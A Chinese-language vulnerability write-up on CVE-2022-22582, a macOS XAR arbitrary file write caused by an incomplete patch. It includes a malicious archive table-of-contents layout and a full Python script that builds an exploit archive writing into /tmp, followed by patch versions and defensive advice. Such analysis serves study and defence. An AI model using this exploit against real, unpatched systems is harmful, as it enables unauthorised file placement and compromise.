Apple macOS XAR 任意文件写入漏洞分析(CVE-2022-22582)
字数 1276 2025-08-07 08:22:31
macOS XAR 任意文件写入漏洞分析 (CVE-2022-22582) 教学文档
0x01 漏洞概述
CVE-2022-22582 是 Apple macOS XAR 归档工具中的一个任意文件写入漏洞,该漏洞源于对 CVE-2021-30833 补丁的不完全修复。攻击者可以构造恶意的 XAR 归档文件,利用符号链接和路径处理逻辑缺陷,将文件写入系统任意位置(需有写入权限)。
0x02 技术背景
XAR 归档格式
- XAR 是 macOS 使用的一种文件归档格式
- 使用命令行工具
xar进行提取操作 - 苹果维护自己的 XAR 分支,发布在苹果开源网站上
- 归档包含 XML 格式的目录表 (TOC) 和压缩数据
漏洞相关背景
- 2021年10月苹果修复了 CVE-2021-30833(路径分隔符处理不当)
- 在分析补丁时发现了 CVE-2022-22582
- 新漏洞允许绕过之前的修复措施
0x03 漏洞原理分析
原始漏洞 (CVE-2021-30833)
- 问题:处理目录链接时未正确处理路径分隔符(正斜杠
/) - 允许在
<name>标签中指定带/的路径 - 结合符号链接可导致任意文件写入
新漏洞 (CVE-2022-22582)
-
补丁后仍存在的逻辑缺陷:
- 当读取同时包含目录路径和同名目录的文件时,会先创建目录
- 如果目录已存在,会跳过符号链接创建
- 但文件仍会被写入原始目录而非符号链接目标
-
关键利用点:
- 通过调整 TOC 中目录和文件的顺序
- 先创建正常目录,再创建同名符号链接
- 导致文件被写入符号链接指向的位置
0x04 漏洞利用细节
恶意 XAR 文件结构
<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<!-- 1. 先创建正常目录 -->
<file id="1">
<name>.x</name>
<type>directory</type>
<file id="2">
<name>test</name>
<type>file</type>
<data>
<!-- 文件内容相关元数据 -->
</data>
</file>
</file>
<!-- 2. 再创建同名符号链接 -->
<file id="3">
<name>.x</name>
<type>symlink</type>
<link type="directory">/tmp/</link>
</file>
</toc>
</xar>
利用流程
- 创建正常目录 (如
.x) 和其中的文件 - 创建同名符号链接指向目标目录 (如
/tmp/) - 由于目录已存在,符号链接创建被跳过
- 但文件仍会被写入符号链接指向的位置 (
/tmp/test)
0x05 漏洞验证与利用
手动验证步骤
- 创建恶意 XAR 文件 (结构如上)
- 使用
xar -xvf exploit.xar解压 - 检查目标目录 (如
/tmp/) 是否被写入文件
Python 自动化利用脚本
import zlib
import hashlib
# 构造恶意XAR文件
mydata = b'1111111'
datahash = str(hashlib.sha1(mydata).hexdigest())
fnm = 'testing.sh'
xmlxx = f'''<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<file id="1">
<name>.x</name>
<type>directory</type>
<file id="2">
<name>{fnm}</name>
<type>file</type>
<data>
<archived-checksum style="sha1">{datahash}</archived-checksum>
<extracted-checksum style="sha1">{datahash}</extracted-checksum>
<size>{len(mydata)}</size>
<offset>20</offset>
<encoding style="application/octet-stream"/>
<length>{len(mydata)}</length>
</data>
</file>
</file>
<file id="3">
<name>.x</name>
<type>symlink</type>
<link type="directory">/tmp/</link>
</file>
</toc>
</xar>'''
compressed = zlib.compress(xmlxx.encode('utf-8'), 9)
h = hashlib.sha1(compressed).digest()
toc_length_compressed = int.to_bytes(len(compressed), 8, 'big')
toc_length_uncompressed = int.to_bytes(len(xmlxx.encode('utf-8')), 8, 'big')
chcksum_alg = int.to_bytes(1, 4, 'big')
heapcontent = h + mydata
# 构建完整XAR文件
mymodifiedxar = b''
mymodifiedxar += b'xar!' # magic
mymodifiedxar += int.to_bytes(28, 2, 'big') # size
mymodifiedxar += int.to_bytes(28, 2, 'big') # version
mymodifiedxar += toc_length_compressed
mymodifiedxar += toc_length_uncompressed
mymodifiedxar += chcksum_alg
mymodifiedxar += compressed
mymodifiedxar += heapcontent
# 写入文件
with open('exploit.xar', 'wb') as f:
f.write(mymodifiedxar)
0x06 修复方案
官方补丁
- macOS Monterey 12.3
- macOS Big Sur 11.6.5
- macOS Catalina 安全更新 2022-003
修复要点
- 正确处理符号链接和目录的创建顺序
- 加强路径验证,防止目录遍历
- 完善错误处理逻辑
0x07 防御建议
- 及时更新系统到安全版本
- 不要解压来源不明的 XAR 文件
- 在沙盒环境中处理不受信任的归档文件
- 对文件操作实施严格的权限控制
0x08 总结
CVE-2022-22582 展示了补丁绕过漏洞的典型案例,强调了:
- 安全补丁需要全面考虑所有可能的攻击路径
- 文件系统操作(特别是符号链接处理)是常见漏洞来源
- 开源组件需要持续维护和安全审计
该漏洞也提醒开发者:
- 在处理用户提供的路径时要格外小心
- 符号链接可能改变文件操作的实际目标位置
- 文件系统操作的顺序可能影响安全性